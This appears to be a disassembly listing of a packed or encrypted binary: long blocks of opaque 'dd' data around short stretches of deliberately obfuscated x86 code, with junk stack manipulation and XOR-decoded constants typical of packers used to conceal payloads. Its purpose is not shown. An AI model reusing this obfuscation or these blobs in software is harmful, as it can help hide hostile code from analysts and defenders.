		dd 1682A1F3h, 78A5E889h, 0A94AB8FEh, 74AEBBCh, 236A099Ah
		dd 0D1527BFEh, 0FCA50E42h, 0ED1954F5h, 84296C02h, 0CBF0593h
		dd 55F713A8h, 0C3516286h, 0D54ED37Ch, 4DABFFB6h, 2489CC62h
		dd 5BFAA5F3h, 2B518D12h, 51629991h, 36C06BC3h, 6D868FD8h
		dd 5AAC0C36h, 0C351B75Eh, 67A12945h, 0C351B723h, 0D05D36E1h
		dd 38652C4Fh, 555CC572h, 0CB857E37h, 15383FE0h,	0C865CE5Ch
		dd 0D27F208Dh, 0E2907397h, 0F9271A7h, 59F6FDA6h, 7F608E1Ch
		dd 110A97D2h, 5DC28FB0h, 5C48EC4Ch, 0BB012636h,	9Ah, 0C830BA8Ch
		dd 0BE7B634h, 0DC7D2276h, 0E88A7591h, 892F78A5h, 0A5E8891Ah
		dd 0C881A778h, 0D194BA6Bh, 0EEB73C4Ch, 0EA4BE06Fh, 0BB0F42E3h
		dd 0DFD92713h, 64C612h,	72980000h, 57E9D0C8h, 1F99B2AFh
		dd 155CFF14h, 3D741788h, 1B8431F0h, 0E2387114h,	0DFD25E4Ah
		dd 40B912h, 9430000h, 8703CD53h, 69A1DBFBh, 5BAF57F2h
		dd 88A607F0h, 0E13760CDh, 0EB5E7BAh, 0EE9BAED8h, 0CE69B5FFh
		dd 5048F218h, 32B5FFEEh, 2A2C9F19h, 0B5FFEDEAh,	76842D86h
		dd 1477C59Ah, 8B7Dh, 59BAC600h,	0F029763Fh, 0F64DEFB8h
		dd 72BB6D0h, 0D23DB600h, 91BFF9BCh, 8BA879A6h, 0BAD778CEh
		dd 5CF1B2FFh, 690B9419h, 0C228320h, 8825E449h, 8C29A827h
		dd 32771C23h, 0E65440F4h, 43B31477h, 94000000h,	0D90DB4E7h
		dd 57D74BAFh, 93B21D2Fh, 4AB05EDAh, 57D6F830h, 8861CA2Fh
		dd 0B1D43F2Bh, 0AEEB87F8h, 46802801h, 2F57D83Eh, 1211923Bh
		dd 58E218A3h, 0AF57D840h, 779D2902h, 75A3E68Ch,	78Ah, 43DFAD00h
		dd 0FA000000h, 0EA1059FFh, 2F3F2F60h, 0EAAF80Bh, 2A6F049Dh
		dd 0B6E4769Ch, 7D80A470h, 7916991Fh, 705357F1h,	631AF58h
		dd 8B07802Dh, 7311F228h, 0CD0DFE3Ah, 0AF586FC8h, 94A60FE4h
		dd 12DF4FB8h, 0BEB5Fh, 0ABE7E000h, 0DEA3AB08h, 0FA39030Bh
		dd 96829011h, 719B74E7h, 35h, 8ABE7CAh,	0D770A8D2h, 1852AF57h
		dd 51F1B6DAh, 4C86971Ch, 948DCAEEh, 6599D30Fh, 2A45157Bh
		dd 288244D4h, 4458CC91h, 583446EFh, 0BFBBAB6Ch,	21Ah, 8ABE780h
		dd 708C98D2h, 0E08D51CAh, 9C796348h, 30155CFFh,	0E8F413F8h
		dd 0EF15DFCAh, 56h, 80ABE730h, 0CDBA93DEh, 0D70500BAh
		dd 0F8DBAF57h, 77991F5Ah, 0D6B3F711h, 0A691AF57h, 0E9DF19CDh
		dd 33FF6910h, 0BA111A9Eh, 2E733A59h, 0A3E68CFDh, 0BA80EF75h
		dd 24743959h, 0B794DD7Bh, 0AEEA1CBAh, 0B0AF57D6h, 57D71216h
		dd 8747F0AFh, 8C990CACh, 1BDFh,	0ABE7FA00h, 50F1D208h
		dd 0BA909B1Dh, 57D70500h, 9673DCAFh, 59FFDDBAh,	0E0C52B10h
		dd 9655A4A6h, 135EFFA7h, 40092C97h, 3152BD59h, 912B377Ch
		dd 0A7965699h, 41D7C06Bh, 9F0BDDEh, 0ECB071AAh,	21C8316Ah
		dd 21778CE8h, 3296DF7Eh, 0E7AECDh, 0E0ABCDAh, 0FCA79661h
		dd 0F8114861h, 0EC478716h, 0EBFC1D4Ch, 0F2E35FEh, 0D639718Bh
		dd 200BA796h, 0CF6ED137h, 0DD7F6086h, 0B41D0494h, 0D6080F93h
		dd 0B0FAA796h, 3234FB46h, 0E325C19Eh, 0A7964FA7h, 0EED9B29Dh
		dd 1AEE781h, 6EB3FEA0h,	41D0515Ah, 0E1E849E2h, 779D0B42h
		dd 12A564E5h, 76A20913h, 58C588A9h, 2C872139h, 96DB7C83h
		dd 0C58CAF10h, 40DC7DE2h, 0A795E445h, 0DF6143Fh, 0AEF7216Ch
		dd 383FE04Dh, 83EC5C15h, 0AFBEA9E0h, 0BC65B28Bh, 2BDF96B5h
		dd 4BEDA4C8h, 90D97CE3h, 6A2748A9h, 4CEA107Fh, 95E3FE3Ah
		dd 0CD6BC4A7h, 4983CD56h, 7CDE48A0h, 129D1B0Bh,	24CE3A73h
		dd 0D373A3D2h, 0CD051076h, 3B8F4ACFh, 555EDA57h, 30155CFFh
		dd 0B4E79C79h, 0B5AEE785h, 0F413F8D0h, 15DFCAE8h, 2CEFh
		dd 0B4E73000h, 37A8E585h, 0D9D25F1Ah, 0BAFBE0h,	0AF57D705h
		dd 0BA7754FFh, 0DC95B31Ch, 1583C66Bh, 1752FF0Eh, 0DFE0C532h
		dd 30h,	0DB4E7FAh, 500BA18h, 0DCAF57D7h, 1CBA9673h, 52DF92B3h
		dd 0BAD4DF59h, 0D6AEEA1Ch, 0BB94AF57h, 0D89DB27Dh, 0A730BAE3h
		dd 884DD767h, 0CCD94CECh, 57E889A6h, 0A71192AFh, 0F5FFFFFDh
		dd 0E7FD3D4Fh, 6CC7AF57h, 5EA6E7CCh, 5DAF57D7h,	57F84EE1h
		dd 24427831h, 57D7A6E2h, 65B39CAFh, 0D8444486h,	9401AF57h
		dd 2D64040Bh, 5C193699h, 6E2745AEh, 0FA40E8C1h,	0CA57D241h
		dd 0AE2B5100h, 1D866DF1h, 8986211Dh, 23CC450h, 0A65F0000h
		dd 0AF57D75Fh, 0A7CBF85Ch, 0D79D9D2Fh, 0CC67AF57h, 645D4ED3h
		dd 0E1B10446h, 4CB7B5FFh, 9376128h, 7A17F82Eh, 0B013F93Fh
		dd 0C35CC188h, 9846EBAEh, 0E1D0C872h, 99B2B5FFh, 0EE4A0728h
		dd 0BD692C41h, 0E1B5F517h, 0A48FB5FFh, 0A6169774h, 445FE91Dh
		dd 3EBCA801h, 0D731F315h, 4467EC82h, 0DF4FBh, 1950F700h
		dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh
		dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 238286C0h
		dd 3A40B606h, 0DB30BA1Dh, 0E55E9BEBh, 0A6EB8CFDh, 4F8EAD72h
		dd 258A632Eh, 5F8B3064h, 646982Dh, 0FA0C6AB6h, 0B60645BEh
		dd 0F80A43E5h, 5F40665Fh, 892A7039h, 9F00A6EFh,	51183BFEh
		dd 0B6E2DBCCh, 60294CD5h, 751330BAh, 32ADA343h,	108405E6h
		dd 0D2CD7FABh, 94BCAE48h, 54A3072Bh, 5A610215h,	6F9107F0h
		dd 45DA24C4h, 0D9DAEC7Ch, 0D5868h, 753C5B00h, 0A4E18E31h
		dd 0D29BBD66h, 247EB54h, 377A1B84h, 0CD4574F3h,	0FAA5E1ACh
		dd 2E911558h, 60C3470Eh, 0B636743Dh, 231612B4h,	0AEECB606h
		dd 7130BA81h, 0DC64E136h, 5BFAA5F3h, 0A80C8D12h, 6649F713h
		dd 2F6204C9h, 7164E236h, 77B6001Dh, 0A6CFB8E5h,	0EE4A0FABh
		dd 10B3F720h, 25E6246Dh, 709E4CF7h, 0D16BE38Fh,	0B5FFDDD9h
		dd 19780ABh, 0AE1C79C7h, 3AE04BBCh, 0B0F6BFD9h,	8320690Fh
		dd 0E54A0322h, 71A9D379h, 53BCAE1Ch, 45F7B0F8h,	28A2C8FEh
		dd 0D4168B68h, 0E1E382EBh, 0C0E47872h, 0EC232573h, 0D6C35635h
		dd 0A26D4B7Dh, 9013E5D4h, 0CA42Fh, 0C980A700h, 0F8BDD27Dh
		dd 2E6701A2h, 5E1B3798h, 8BC667C8h, 1101B03Fh, 46E93D70h
		dd 72DD6924h, 0A40F9BD2h, 0EA72C881h, 23D2D670h, 6AB0B606h
		dd 0D85CFFCDh, 0D71008B2h, 59F2AF57h, 57D779B1h, 0F7E04BAFh
		dd 8B3E1AAh, 0FC0EB4D2h, 0AF57D6BCh, 4A032586h,	5DDBB4E5h
		dd 0FFE4E08Bh, 5D89A2B5h, 0F72DE01Bh, 64C71F5Ah, 0B5D7F349h
		dd 0B600A475h, 0CEB4E44Fh, 640C865h, 0B600A402h, 0F0B9DFC0h
		dd 0A8817AB3h, 0DE97B112h, 0B5E76348h, 0B4ADE886h, 0F2ADF416h
		dd 0BC97B5FFh, 0F2AFF777h, 60CBB5FFh, 0CAC7B3BFh, 0CC0E1477h
		dd 0FEBE99C0h, 0A09D7CA6h, 1661A23Ch, 0A099D078h, 88CA08h
		dd 0FF5D0000h, 5C8A1752h, 0BC44BE1Ah, 3078C2D9h, 1A87C26Fh
		dd 0A4FE3CCh, 0C96D01AEh, 0C012AA64h, 39665FE3h, 388ECB68h
		dd 70962D8Fh, 144E9CAh,	0DB2D8B9Ch, 0B6003E9Ch,	0B71BCD66h
		dd 0B9F32A9Ah, 0BA3897Ah, 83A60000h, 0BED37CCAh, 6404AFFBh
		dd 1836992Dh, 0C566C95Dh, 4B53288h, 9A206D0Eh, 0D6541939h
		dd 86CF6Dh, 71B5FC9Fh, 0D5D577F5h, 0AFB60624h, 52FFC269h
		dd 3355F317h, 0AF57D6F7h, 4C3662CDh, 7BC3h, 52FFE600h
		dd 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h, 66C5534Ch
		dd 1ECC77A5h, 26ED38DCh, 0D642E6B3h, 25A7FA0Ch,	56B9B600h
		dd 1A53F134h, 0DAB8495h
		dd 0F7B2E0C3h, 621071AAh, 0C8A1FA27h, 2AB2AC10h, 0B60FACF3h
		dd 0B15h, 0E2387118h, 0DD692C41h, 0B9FD672h, 7BCF8AA8h
		dd 0ACFAB7D8h, 0DF809227h, 8BAB1492h, 0BDDF40C6h, 6E0DB6F4h
		dd 0E17BE327h, 62563A7h, 3C1B21B6h, 0F19D5CFFh,	7A53163Ch
		dd 0DA7A6581h, 0FDA60593h, 0F08A175Eh, 0DEDA6C8Ah, 0A4AF57D6h
		dd 0EDB62D8Bh, 0DFD2F1EDh, 2491412h, 6CEE0000h,	136CF2EEh
		dd 2D76A24Dh, 0AD0F5001h, 2356F016h, 0E1B5FFEDh, 9334D236h
		dd 8A99795h, 51EB1FA4h,	0B03FA30Ah, 49D25FF8h, 1CB4D8EBh
		dd 31C98689h, 0FED7C0B4h, 0A2E7BEC8h, 93DDB6EAh, 0E0BDA4BDh
		dd 1A57F70Ch, 31924821h, 0A949BA12h, 0ECB64D09h, 0B992D77Bh
		dd 0BA3C26Dh, 39FE4880h, 39EFD8A1h, 0F2408CCDh,	4E13ECCFh
		dd 5100000Ah, 882B7F36h, 0B718AEEBh, 0E142D891h, 11B2084Dh
		dd 62E93D70h, 0EFA2C34Fh, 1B56F85Bh, 4900248Fh,	7A3352FDh
		dd 18A2B82Ch, 0B6062620h, 0FF7FA4E2h, 7EFE9F52h, 57D6CCCCh
		dd 0A49DB6AFh, 77A566CBh, 20EC1ECCh, 0E2B60615h, 8C779D49h
		dd 0DCDC6EE6h, 0A6B60614h, 9B04948Dh, 0CF70B6FBh, 0DBC4E2AFh
		dd 0F3ACF1B8h, 83941950h, 419D0EAAh, 985BDA37h,	4BED534Eh
		dd 0C7E358FCh, 9A2B6F99h, 3E19B606h, 0ABD670FAh, 0BDBCAEBCh
		dd 0BCB5F517h, 0A48FBCAEh, 4561CA74h, 3175385Ah, 429EC8Eh
		dd 0D2CBDC41h, 2E914Dh,	69CFD845h, 3AEEA7C6h, 0EC7C1BB6h
		dd 964839FAh, 99000009h, 0D073B7FEh, 0FFA0E6A3h, 298A1059h
		dd 59FA4005h, 0AA317538h, 276A0B07h, 531E40E3h,	81C86CD7h
		dd 0B2FB9A05h, 0D06AF074h, 0B60626D8h, 91C76CAAh, 57D73969h
		dd 169F34AFh, 0E9DA7A43h, 8099064Fh, 0AAC97397h, 98B5FFF9h
		dd 8BA80BBFh, 0E04861CEh, 57FF997Ah, 59AF67AFh,	0BB0FF8F4h
		dd 0F317AC00h, 0AA94C949h, 6A90BBBCh, 76A2EB89h, 0EE1846ECh
		dd 0BCAA94AAh, 0B679BF98h, 0E748DE97h, 8E4FEC44h, 5FA19923h
		dd 0C863BCAAh, 0F9285A3Eh, 0C57FBBCDh, 0EA45BCAAh, 13C3D7F1h
		dd 0EECDEC80h, 8F415h, 1950F700h, 480D228Dh, 7E3751F2h
		dd 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h, 0C26DB9F4h
		dd 0F45FEBA2h, 1A821851h, 288286C0h, 3A40B606h,	3859BA1Dh
		dd 0B9FF2875h, 57D767AFh, 50193CAFh, 44862CCAh,	0AF57D744h
		dd 483153Eh, 4DFF2B90h,	0B60026F8h, 5A4561CAh, 0C937733Ah
		dd 0AEEE46E6h, 1A39AC9Ch, 6942EFD8h, 753C60CFh,	85C06E51h
		dd 3AA90F18h, 84D5AA2Ch, 7839D985h, 8734F30h, 0E76A0000h
		dd 0F7D80EB5h, 829B1851h, 2BBACC16h, 19B5FFE2h,	52DF96B6h
		dd 940E859h, 4B4B9310h,	67B5FFE2h, 3B17238Ch, 0C21477DDh
		dd 1A9h, 145DFF65h, 3974168Fh, 0E9856EF4h, 821607ACh, 93377E1Dh
		dd 0D6D7D375h, 82ADAF57h, 48ECB516h, 3A0E589h, 4AF5312Ah
		dd 426C822Ah, 3FAEA0EAh, 0FE50D946h, 5B67A145h,	0DAF583Fh
		dd 3F65A5E7h, 0F45FAF58h, 15B19AA4h, 755505C3h,	0A81C09h
		dd 2A6302A3h, 367B1C85h, 5A1738E9h, 278CC4D5h, 9FDA777Eh
		dd 0E1201912h, 0C0646B34h, 85D73D89h, 5FA356B3h, 0F5BAFEF6h
		dd 49911E57h, 0AF57F845h, 30AAB00h, 74922861h, 0F87CBCCEh
		dd 7E4EAF57h, 7DE2FC13h, 8F277171h, 0A15ECF11h,	139404FDh
		dd 77B3D5A3h, 4DAF584Ch, 31D04103h, 0EBC4B435h,	7EB2D4F2h
		dd 60AF5839h, 0F94DD7Fh, 3971A9D3h, 0F853AF58h,	0CC67A90Fh
		dd 6E13DC1Eh, 0D5AF4643h, 1F3FE043h, 0C52ED452h, 0E34CECA9h
		dd 0A10E43h, 168F145Dh,	30F13E77h, 40E4450Ch, 5CC9A409h
		dd 10BD44D3h, 0ABE6888Fh, 600EF11Fh, 63C08DADh,	58C7514Ah
		dd 644F7B36h, 0BD2E8ACFh, 59BD57A1h, 3AD09BBDh,	308B29FEh
		dd 2E09708Ah, 50FBB600h, 44862CCAh, 0B6002E44h,	1C83153Eh
		dd 7CEA377Ah, 0F59185FAh, 0B9FF6C60h, 0D7F34CEEh, 0A22646A9h
		dd 812018h, 5049E2B6h, 810E0ED8h, 5BF4B600h, 0F9BA13D6h
		dd 891D50F2h, 97D28063h, 0B1FC9E01h, 0C184AA15h, 8133F457h
		dd 573240DBh, 0E5367B36h, 0CE882FEDh, 29763F5Dh, 59E307F0h
		dd 0BCA8912Eh, 201FDA14h, 583FB95Fh, 0D678DB6Fh, 91B17013h
		dd 6D4657DCh, 0D576D7C0h, 29021B98h, 0BA12329Dh, 0BFC5F895h
		dd 21655E36h, 0EFB5E7FAh, 443ABC3Ch, 0CCFAD3B4h, 58BFBAh
		dd 1C3EA1B6h, 9639C751h, 5EC3BCF9h, 59EDA8C5h, 632E50B3h
		dd 604BED3Eh, 0A00DB4E7h, 57D75EA6h, 6E2745AFh,	953D60C1h
		dd 0BF3B283Bh, 38655E05h, 0DD5CC572h, 3B37F853h, 12DFC74Fh
		dd 0EA2E5886h, 0D8AF57F3h, 541B397Fh, 2C000000h, 0AEEA1CBAh
		dd 94AF57D6h, 9DB27DBBh, 618F5BD8h, 57D6E327h, 474385AFh
		dd 3DAF57D7h, 3167D012h, 57D6F337h, 4BB4EEAFh, 0EE3F642Dh
		dd 4950D14Ah, 5A456124h, 5E247439h, 60294FB0h, 0FC3A3EC8h
		dd 0A0E1AF57h, 0FFFFFF84h, 0AEEA1CBAh, 94AF57FBh, 0FF367DBBh
		dd 0BA30155Ch, 2C713459h, 7DBDCFFBh, 47AF57D7h,	0C2DF4CECh
		dd 180DB4E7h, 0B0D33CDAh, 0F474BFF9h, 15DFCAE8h, 3DEFh
		dd 0B4E73000h, 50B3D90Dh, 5C5C6623h, 26AF57D7h,	0BA80AB0Dh
		dd 57D70800h, 7451FAAFh, 52FFDDBAh, 30BA3217h, 45316A41h
		dd 0ABEF1999h, 99AF5853h, 0CE64C5BEh, 63B82D8Bh, 40DFh
		dd 0B4E7FA00h, 59BA180Dh, 3C26723Bh, 57D78E8Ah,	953757AFh
		dd 0AF57D795h, 0FEEBC46Fh, 933B59BAh, 672D7C2Dh, 901DF659h
		dd 0E1D96387h, 0A3AF5893h, 5D3A2088h, 57F652FFh, 92D807DAh
		dd 0C5998E67h, 1059FFE0h, 0D74F4B93h, 0A10AAF57h, 165FF900h
		dd 0E7A57690h, 5076AF57h, 8FF8CF06h, 85E6C057h,	2902AFE6h
		dd 0F3DE008Fh, 90DAFFFFh, 9E3F0D3Fh, 0B0FB3DFBh, 931752FFh
		dd 8B3F8428h, 0AD271h, 6C0FB0B6h, 0B6AFF825h, 0B160EA10h
		dd 0BFCEA195h, 2E65A56Dh, 0F45FB600h, 0FF07C7A4h, 9BB6002Dh
		dd 77636F30h, 96147785h, 11h, 80B8C268h, 42B60036h, 0DF644FE9h
		dd 1, 0EB5E7FAh, 0EF63AED8h, 3B21B5FFh,	0FFEF8981h, 0E7D07BB5h
		dd 2143ACBAh, 325FC068h, 0AFD53377h, 0FFEF1D1Dh, 9E4CE7B5h
		dd 0FFEF2C6Ch, 0FB3D16B5h, 0FFEF536Dh, 652C50B5h, 97DE7E21h
		dd 619ADC0Ah, 0D6211107h, 234978B0h, 1F268F64h,	2D96347Dh
		dd 6DC410Ch, 16C4C4h, 0BC95BEB6h, 0E2D967Ch, 5CFF6047h
		dd 5ECF3215h, 0E6AFCED5h, 18F49982h, 0FF135FCAh, 0B8h
		dd 0EA1CBA40h, 0AF57D6AEh, 0AA7DBB94h, 0D74C5E08h, 0E066F0Ah
		dd 0D8B1FC9Dh, 500BAE3h, 0DCAF57D7h, 1CBA9673h,	54D990B3h
		dd 0CBCED543h, 5CFFEC6Fh, 0E6C33015h, 0AEEA1CBAh, 94AF57D6h
		dd 65284ABBh, 0FE49EF38h, 0DA07E45Fh, 0CAE8F4FDh, 2FEF15DFh
		dd 30000000h, 0EDD530BAh, 0E55F5685h, 0FA41F4B3h, 800BA0Dh
		dd 0FAAF57D7h, 0DDBA7451h, 0FC9F52FFh, 0C52EDCB5h, 524BE8A5h
		dd 0E0C5DDC6h, 2CDFh, 0B4E7FA00h, 0B6AFE685h, 0EB74C610h
		dd 0A36214E2h, 9D2CDD2Bh, 8028D089h, 800BA9Bh, 0D9AF57D7h
		dd 251E5BF8h, 0FFDDBA40h, 0C5321752h, 0FF44DFE0h, 0D83BFFFFh
		dd 72B9FFBAh, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
		dd 1D82CB6Ah, 3497130Ch, 7D8F3B80h, 0B5FFF612h,	1C1CAED4h
		dd 0E6B5FFF6h, 0F6424680h, 1700B5FFh, 0FB54FA3Eh, 0F670B4B6h
		dd 0A70CB5FFh, 0CD00FCFEh, 25E71477h, 38000000h, 0D80EB5E7h
		dd 54FAEh, 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0E0C414h
		dd 359E0000h, 0D5DE5A13h, 763F59BAh
		dd 97DE7D22h, 0B5F8990Ah, 0DD94B768h, 0B298A50h, 6CCCDD42h
		dd 3DE9A0C3h, 0BCFCB1D2h, 16AE28D6h, 63E74461h,	2C242276h
		dd 77AF588Eh, 0F23650D4h, 0B1AF588Dh, 5851DE97h, 0CF79AD86h
		dd 0AF588DCBh, 1A59EB9h, 692A15F7h, 58C2DBDFh, 748EA9AFh
		dd 178160F2h, 2A6302ADh, 2B900485h, 9C1E4DFFh, 4BE4B600h
		dd 53E84CFFh, 3E2415B7h, 351EBCABh, 0D74A4791h,	0F805E108h
		dd 0F4241D54h, 0A9E4856Eh, 0DC91B21Dh, 7FF0982Ch, 4A3BF8ECh
		dd 29Dh, 6AB0F9A0h, 0A5E1A4C9h,	93175EFAh, 0C3470230h
		dd 34723F60h, 67080AAFh, 13339C2Ah, 0C567C85Eh,	0F6953E8Ch
		dd 69F36BBFh, 62DDBDFh,	0C463A9B6h, 97135EFFh, 7B8D092Ch
		dd 0AF57D73Fh, 95312A05h, 0D444092Ah, 1CBA416Eh, 0AA6FACDAh
		dd 0D9E1D652h, 0AF5816E1h, 70345A3h, 0FDAF5817h, 683F7952h
		dd 1008B2C4h, 0F2AF5817h, 17367294h, 230CAF58h,	0FB5514Ah
		dd 0C20480A4h, 0AF5816C6h, 7EBA93BCh, 4495E8h, 0C0684BB6h
		dd 8C3E2489h, 0B600448Ch, 0B4E4DD76h, 0FA7CA18Ah, 0B60043BAh
		dd 80A30CD6h, 2BF46FC9h, 77BB332Fh, 0E0DA14h, 0FF6D0000h
		dd 6AAED85Ch, 58AF57D7h, 89906FFh, 45852A67h, 0AF57DB8Dh
		dd 83CE7053h, 4AB0D1Eh,	74922861h, 0C55495E2h, 72A6DA17h
		dd 5AC78EADh, 22D863D1h, 13464284h, 133CAF58h, 0BE2D5F85h
		dd 0A0B60022h, 0CF541D3Fh, 7AB45ADEh, 9C8632D8h, 90A33B47h
		dd 3A91CE4Ch, 15F33720h, 0B35D5DEFh, 0C27B600h,	2B91BACh
		dd 5216A2E4h, 0CBECBCABh, 0D90DE6ABh, 961B52F6h, 0E6C91385h
		dd 92DF8045h, 0E7231C0Dh, 619B1B3Ch, 0BCAB5229h, 0A147301Bh
		dd 0EC7F860Dh, 56D3AC0Fh, 59000001h, 9033773Eh,	0BF60A6E3h
		dd 0E94AD099h, 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h
		dd 41082C97h, 723B5AC5h, 10AAB034h, 0B6062F18h,	0BA87ACEAh
		dd 689E5130h, 0F4258AC7h, 9F9200FAh, 0B8F59619h, 0EBA2C162h
		dd 5CFF705Fh, 74178815h, 225095B5h, 80218E67h, 100996D3h
		dd 4FF84E27h, 16B056EDh, 0B5FFF9EBh, 22487ED9h,	50B422A8h
		dd 36623CD3h, 783CA69h,	73B0F99Ch, 15B10AAAh, 254885AAh
		dd 3F25736Ch, 0AEEEF98Dh, 0B860CBBCh, 0EC7BEA10h, 0BEB21390h
		dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh
		dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh,	0EAA3C26Dh
		dd 0E812C85Ch, 0B6062FB0h, 0E7EF5492h, 0B2D80EB5h, 57D71008h
		dd 0DF59F2AFh, 141FF315h, 4AE5B606h, 50193CE5h,	612449AAh
		dd 0C74DEB3Ch, 3370395Ch, 30B55E2Bh, 0CF7771Ah,	0AFF8256Ch
		dd 0C855103Eh, 41E259DFh, 0BBDA1B3Ah, 77D5713h,	0F5EED54Fh
		dd 1008B2A8h, 0F21A3018h, 53776059h, 3062CE70h,	9A332E01h
		dd 0C54FE9C2h, 2D723B5Ah, 6F9BDE74h, 0ADE484h, 0DF228117h
		dd 7262DF6h, 1537984Eh,	53337791h, 26111A30h, 61B7E04Dh
		dd 5C15389Bh, 36ED7h, 0B0490000h, 1158FFCBh, 3970138Ch
		dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
		dd 0CD84A47Dh, 0D792BF60h, 5455FA4Ah, 4C5815Dh,	83000000h
		dd 2C8704EDh, 0DA685C24h, 8900006Dh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 464A5C56h
		xor	eax, 4D08248Dh
		mov	esi, 0DEC4749h
		xor	esi, eax
		pop	eax
		push	5F7Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	410Ah
		mov	[esp], esi
		sub	dword ptr [esp], 269F7ABFh
		pop	dword ptr [eax+8]
		add	dword ptr [eax+8], 269F7ABFh
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0F8h
		dd 679D0B55h, 0CF8CAD11h, 0B8BC494Eh, 6AE5A21h,	0C650C503h
		dd 0A815D585h, 25684706h, 0FFCF3817h, 0A831F9B5h, 0C3858D06h
		dd 0FF06A83Ah, 8DD88BD0h, 0A822DD85h, 4685006h,	0FF000001h
		dd 0D585C6D3h, 5306A815h, 7F8BF68h, 0F9B5FF83h,	8D06A831h
		dd 0A83AC385h, 89D0FF06h, 0AE3D7085h, 61BD8306h, 6A800h
		dd 0B840Fh, 9D8B0000h, 6A81F25h, 5E9h, 0BB00h, 680000h
		dd 8D000001h, 0AE3D74B5h, 0FF535606h, 0A82C4D95h, 74B58D06h
		dd 306AE3Dh, 1E9F0h, 804E0000h,	840F5C3Eh, 9, 0F2F3E80h
		dd 0FFFFED85h, 6C6FFh, 3D74858Dh, 0FF5006AEh, 0AE3D7095h
		dd 0E0FF5806h, 305E4773h, 642CDB69h, 446907D3h,	15328052h
		dd 270CCB24h, 41AFB792h, 7DCEA906h, 5F0F61EAh, 17C459EEh
		dd 697B38h, 51A5E607h, 4FA846A8h, 618AB382h, 53E13748h
		dd 18A08190h, 32EC2AC3h, 3C2E2381h, 0B6F3925h, 670A8F07h
		dd 7713A14Fh, 59D7A365h, 774B266Eh, 2ED99053h, 1B4E4A18h
		dd 7E8h, 0AF32A000h, 700196C3h,	5B12D980h, 14E9h, 0B6942300h
		dd 9A1317C8h, 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh,	95C381BAh
		dd 0F00006Fh, 689h, 0D3C98100h,	687B06F1h, 1BACh, 0AE9h
		dd 65F51F00h, 33D67D9Ch, 58AB0AD7h, 2814EA81h, 3B8B14A8h
		dd 14E8h, 9001B600h, 81DD5202h,	5AA3BFh, 4D5D51DCh, 3F294F1Bh
		dd 59D08B8Dh, 0A9F781h,	0F1811F92h, 62876B1h, 0EF7BC781h
		dd 0EE801D5Fh, 8CC7817Bh, 810B3346h, 76B174F1h,	0CE8B575Bh
		dd 0F08B038Fh, 9FEB81h,	81FC675Bh, 5B009BC3h, 88A0F67h
		dd 0F000000h, 28Eh, 48595700h, 17850Fh,	0ED800000h, 28E9AFh
		dd 37FC0000h, 0B8E5DEEBh, 613B94B6h, 0BD884DF8h, 0E9CA8B83h
		dd 0FFFFFF7Ah, 57045A9Fh, 117D3997h, 90BCCE8Bh,	0BFCC8477h
		dd 1DE93D44h, 85000000h, 353A67h, 6 dup(0)
		dd 54FE9h, 3D741300h, 6C2946E9h, 9AD375DEh, 0CA8FA30Ch
		dd 0FFB2D37Ch, 858D2CABh, 0B21DA9E4h, 0E649DD90h, 18BB0F46h
		dd 7EEE3C75h, 335E5AECh, 0E624B606h, 9D5CFF39h,	55103EFFh
		dd 0B9E6DFC8h, 0B5B79660h, 0A7ED18A7h, 91B718CEh, 88612850h
		dd 41E24320h, 0B2ABEE84h, 0C386AB14h, 2144EF55h, 3B5ACB68h
		dd 0DF742D72h, 0CDBE159Ah, 773E5D64h, 0A5EC9033h, 0D79EBE61h
		dd 431FB933h, 0C538365Fh, 0F2FF053h, 2244DD42h,	110A47E7h
		dd 0F434568Ch, 0CEAF58B4h, 2F620465h, 0E6226482h, 0DCAF58B4h
		dd 0FEA70C73h, 0BA7B507Fh, 42D891B3h, 52173BA4h, 733A59C6h
		dd 0AC76C57h, 0EA4E276Eh, 0B4B6F179h, 9704AF58h, 8100C0Eh
		dd 62F712DFh, 48000000h, 0AEEA1CBAh, 94AF57D6h,	93B27DBBh
		dd 268955DAh, 1BED4B02h, 0AF57D71Dh, 0ABA7086Fh, 12DFD6BFh
		dd 15Eh, 52FFE100h, 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h
		dd 5CF2534Ch, 732C9F19h, 0C8169BDEh, 24DB0D8Eh,	0B3E44900h
		dd 5731C83Bh, 75305EC1h, 4FD04528h, 0D86E2B48h,	99DD477h
		dd 135EFF22h, 0F078158Eh, 0D6F8304Ah, 61CAAF57h, 57D76159h
		dd 1F0823AFh, 0FDA60F92h, 821855F6h, 0E64B0221h, 0A24FFE78h
		dd 0E92E4A0Fh, 0F1B8E04Fh, 0BE67CCACh, 0DF3C30BCh, 8C5712h
		dd 0BAE80000h, 7919F930h, 1F996CFAh, 0A243EF90h, 0C533D0F8h
		dd 0BB3DE9C2h, 0E6886371h, 7DA053ABh, 990AF93Fh, 0B869B6FFh
		dd 0CF50DD94h, 99912BA3h, 6BAF5870h, 0C74AD7C0h, 0E736C56Eh
		dd 85A6AD76h, 0B0D172C8h, 68D5EA1Ch, 0FF84A59h,	0C96D01A2h
		dd 83E70977h, 0F43912A0h, 0E4F6BF14h, 12DFA2F8h, 791Fh
		dd 5EFF2000h, 77158E13h, 0A5DFF13Eh, 41C11153h,	7CFBD8Fh
